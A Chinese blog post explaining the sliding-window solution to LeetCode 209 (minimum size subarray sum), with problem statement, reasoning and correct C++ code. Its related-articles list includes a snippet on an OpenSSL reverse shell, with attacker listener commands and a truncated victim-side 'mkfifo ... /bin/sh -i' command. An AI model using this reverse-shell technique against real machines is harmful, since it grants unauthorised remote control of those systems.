【算法|滑动窗口No.1】leetcode209. 长度最小的子数组

news2024/12/23 23:39:47

个人主页:兜里有颗棉花糖
欢迎 点赞👍 收藏✨ 留言✉ 加关注💓本文由 兜里有颗棉花糖 原创
收录于专栏【手撕算法系列专栏】【LeetCode】
🍔本专栏旨在提高自己算法能力的同时,记录一下自己的学习过程,希望对大家有所帮助
🍓希望我们一起努力、成长,共同进步。
在这里插入图片描述

点击直接跳转到该题目

目录

  • 1️⃣题目描述
  • 2️⃣算法分析
  • 3️⃣代码编写

1️⃣题目描述

给定一个含有 n 个正整数的数组和一个正整数 target

找出该数组中满足其总和大于等于 target 的长度最小的 连续子数组 [nums[l], nums[l+1], ..., nums[r-1], nums[r]] ,并返回其长度。如果不存在符合条件的子数组,返回 0 。

示例1:

输入:target = 7, nums = [2,3,1,2,4,3]
输出:2
解释:子数组 [4,3] 是该条件下的长度最小的子数组。

示例2:

输入:target = 4, nums = [1,4,4]
输出:1

示例3:

输入:target = 11, nums = [1,1,1,1,1,1,1,1]
输出:0

注意:

  • 1 <= target <= 10^9
  • 1 <= nums.length <= 10^5
  • 1 <= nums[i] <= 10^5

2️⃣算法分析

解题思路如下:

  • 步骤一:使用双指针left和right来构建滑动窗口,初始时left和right都为0。
  • 步骤二:进入循环,将右指针right向右移动,每次将nums[right]的值加到sum中。
  • 步骤三:进入while循环,判断当前窗口内的和sum是否大于等于目标值target。如果是,则更新ret为最小值,即min(ret, right - left + 1);然后将左指针left向右移动,并从sum中减去nums[left]。
  • 然后循环步骤二和步骤三直到右指针right达到数组的末尾最后返回结果即可。

3️⃣代码编写

class Solution {
public:
    int minSubArrayLen(int target, vector<int>& nums) {
        int n = nums.size();
        int ret = INT_MAX, sum = 0;
        for(int left = 0,right = 0;right < n;right++)
        {
            // 进窗口
            sum += nums[right];

            while(sum >= target)
            {
                // 更新结果
                ret = min(ret,right - left + 1);

                // 出窗口
                sum -= nums[left++];
            }
        }
        return ret == INT_MAX ? 0 : ret;
    }
};

最后就是通过啦!!!

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1084642.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于SSM的医院住院管理系统的设计与实现

末尾获取源码 开发语言&#xff1a;Java Java开发工具&#xff1a;JDK1.8 后端框架&#xff1a;SSM 前端&#xff1a;采用JSP技术开发 数据库&#xff1a;MySQL5.7和Navicat管理工具结合 服务器&#xff1a;Tomcat8.5 开发软件&#xff1a;IDEA / Eclipse 是否Maven项目&#x…

物业管理智慧小区活动报名小程序开发

小程序基于UniApp开发&#xff0c;用于智慧小区物业管理&#xff0c;核心功能为业主报修、业主活动报名、房产车位管理、物业费缴费管理、线上商城等功能。 小程序深度调研物业工作场景开发而出&#xff0c;可以有效提高物业费的收缴率和帮助物业节约成本提高运营效率和提升额…

nvm、node、npm解决问题过程记录

在Windows10如何降级Node.js版本&#xff1a;可以尝试将Node.js版本降级到一个较旧的版本&#xff0c;以查看问题是否得以解决。可以使用Node Version Manager (nvm) 来轻松切换Node.js版本&#xff0c;具体完整步骤&#xff1a; 首先&#xff0c;需要安装Node Version Manager…

力扣第236题 二叉树的最近公共祖先 c++ 递归和回溯 附注释和简短代码

题目 236. 二叉树的最近公共祖先 中等 相关标签 树 深度优先搜索 二叉树 给定一个二叉树, 找到该树中两个指定节点的最近公共祖先。 百度百科中最近公共祖先的定义为&#xff1a;“对于有根树 T 的两个节点 p、q&#xff0c;最近公共祖先表示为一个节点 x&#xff0c…

使用OpenSSL的反弹shell

1、攻击机生成证书&#xff1a; openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes2、攻击机开启服务 openssl s_server -quiet -key key.pem -cert cert.pem -port 803、靶机连接命令 mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1…

大中型机场基于效能的机场运行管理体系(PBAM)探讨

当前&#xff0c;国内诸多省市在推进大中型机场新建、改扩建过程中&#xff0c;特别注重运营能力的建设。在营机场为了提升整体管理能力&#xff0c;对标省市政府的数字化业务建设要求&#xff0c;也急需要梳理运营管理能力的实施思路。很多机场的建设&#xff0c;从建设态向运…

【LeetCode力扣】75 快速排序的子过程partition(荷兰国旗问题)

目录 1、题目介绍 2、解题思路 2.1、冒泡排序暴力破解 2.2、快速排序的子过程partition 2.2.1、详细过程描述 2.2.2、代码描述 1、题目介绍 原题链接&#xff1a;75. 颜色分类 - 力扣&#xff08;LeetCode&#xff09; 示例 1&#xff1a; 输入&#xff1a;nums [2,0,2…

名城优企游学:全球智能物联领军企业-海康威视的创新发展之道

海康威视在安防、智能物联领域耕耘行业二十余年&#xff0c;其在全球视频监控设备的市场份额连续蝉联全球第一&#xff0c;业务覆盖全球150多个国家和地区。 近日&#xff0c;纷享销客【名城优企系列游学】活动携手30企业家走进全球智能物联领军企业——海康威视。聆听行业标杆…

hutool实现文件上传与下载

<dependency><groupId>cn.hutool</groupId><artifactId>hutool-all</artifactId><version>5.8.16</version></dependency> 文件上传需要创建一个表 Autowiredprivate SysFileInfoMapper sysFileInfoMapper;Value("${ty.…

微信小程序底部tabBar不显示图标

现场还原 在设置微信小程序底部tabBar导航图标时&#xff0c;无论如何操作均无法显示在界面上 解决思路 问题1 图标类型 一开始以为不支持png类型&#xff0c;但查看官方API仅提示ICON尺寸大小 打开其他项目可以正常展示&#xff0c;排除图标类型问题 iconPath string 否 …

犯了这些错误吗?20%的Spring声明式事务可能有问题

今天&#xff0c;我来和你聊聊业务代码中与数据库事务相关的坑。 Spring针对Java Transaction API (JTA)、JDBC、Hibernate和Java Persistence API (JPA)等事务API&#xff0c;实现了一致的编程模型&#xff0c;而Spring的声明式事务功能更是提供了极其方便的事务配置方式&…

RSS和Atom文档怎么打开?RSS新闻阅读软件Reeder5功能特点介绍

一款Mac上最优秀的RSS阅读器 支持本地RSS和Feedbin、Feedly、NewsBlur、Feed Wrangler、FeedHQ 等在线订阅服务 多种风格&#xff0c;多种布局 / 支持 iCloud 同步 自动阅读器视图 / 仿生阅读 / 支持第三方服务 新增功能 新的仿生阅读模式 与iCloud同步的应用内读取后续服务 …

golang/云原生/Docker/DevOps/K8S/持续 集成/分布式/etcd 教程

3-6个月帮助学员掌握golang后端开发岗位必备技术点 教程时长: 150小时 五大核心专栏,原理源码案例分析项目实战直击工作岗位 golang&#xff1a;解决go语言编程问题 工程组件&#xff1a;解决golang工程化问题 分布式中间件&#xff1a;解决技术栈单一及分布式开发问题 云原生…

电商(淘宝京东1688)API接口和ERP选品之间存在一定的关系

API接口是一种用于在应用程序之间进行数据交互和通信的标准化协议&#xff0c;而ERP&#xff08;企业资源计划&#xff09;系统是一种综合性的管理软件&#xff0c;可以帮助企业进行采购、销售、库存等业务流程的自动化管理。 在ERP选品方面&#xff0c;API接口可以用于从外部…

【实用小工具】一键分离音频中的纯人声~

音分轨——能够一键分离出音频中的【人声】和【音乐】&#xff0c;并单独输出为新的音频文件。可以用来扒谱、提取人声、消除背景音等。 第一步&#xff1a;打开【音分轨】APP&#xff0c;进入首页点击【人声分离】 第二步&#xff1a;选择导入方式&#xff0c;上传需要提取伴…

yolov5中的位置损失到底有哪些?

目录 1.IOU loss 2.GIOU 3.DIOU和CIOU 5.SIOU 6.EIOU 7.WIOU 8.MPDIOU 别人问目标检测有几个损失函数&#xff1f; 我答&#xff1a;三个。 别人笑了笑。 我问&#xff1a;难道我说记错了&#xff1f; 别人说&#xff1a;是的&#xff0c;你记错了。 我说&#xff…

Python学习 — 免费使用,无须激活,下载安装即可免费使用Pycharm教程

学生如何通过自己的学校邮箱账号来免费使用专业版Pycharm&#xff0c;无需激活下载与安装、配置Python解释器教程。 前言&#xff1a; Pycharm官网版本是有两个版本的, 第一个版本是Professional(专业版本)&#xff0c;这个版本功能更加强大&#xff0c;主要是为Python和web开…

[vxe-table] 合并行后滚动错位

使用vxe-table的属性:span-method合并行&#xff0c;之后下拉后会错位 原因&#xff1a;缺少配置 scroll-y"{enabled: false}"参考&#xff1a; vxe-table合并行后错位

Maven如何将JAR包上传至本地仓库及私服

前言 为什么需要上传jar包至maven仓库&#xff1f; maven官方仓库有些依赖并不存在&#xff0c;现在项目都是maven直接获取jar&#xff0c;当maven获取不到时&#xff0c;或者需要引入外部jar包依赖时&#xff0c;就需要我们把jar上传至maven仓库。 示例&#xff1a;demo.jar…

好用的思维导图软件Xmind Pro 中文专业安装

XMind是一款非常实用的商业思维导图软件&#xff0c;应用领域广泛&#xff0c;为帮助用户提高工作效率而生。它融合了全球先进的管理理念和一线设计思想&#xff0c;具有强大的功能和优雅的界面&#xff0c;用户可以根据自己的需求自由定制。 好用的思维导图软件Xmind Pro 中文…